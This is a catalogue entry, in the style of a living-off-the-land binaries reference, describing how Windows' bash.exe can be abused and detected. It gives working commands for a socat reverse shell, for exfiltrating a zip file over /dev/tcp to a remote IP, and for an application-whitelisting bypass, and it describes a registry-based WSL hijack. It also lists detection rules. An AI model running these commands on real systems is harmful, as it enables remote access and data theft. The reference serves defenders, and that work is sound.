Bash.exe

File used by Windows subsystem for Linux

Paths

• C:\Windows\System32\bash.exe
• C:\Windows\SysWOW64\bash.exe

Commands

Execute

Executes executable from bash.exe

Use case: Performs execution of specified file, can be used as a defensive evasion.

Privileges: User

bash.exe -c "{CMD}"

Execute

Executes a reverse shell

Use case: Performs execution of specified file, can be used as a defensive evasion.

Privileges: User

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

Execute

Exfiltrate data

Use case: Performs execution of specified file, can be used as a defensive evasion.

Privileges: User

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

AWL Bypass

Executes executable from bash.exe

Use case: Performs execution of specified file, can be used to bypass Application Whitelisting.

Privileges: User

bash.exe -c "{CMD}"

Execute

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

Use case: Execute a payload as a child process of `bash.exe` while masquerading as WSL.

Privileges: User

bash.exe

Detection

• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
• IOC: Child process from bash.exe

Resources

• https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/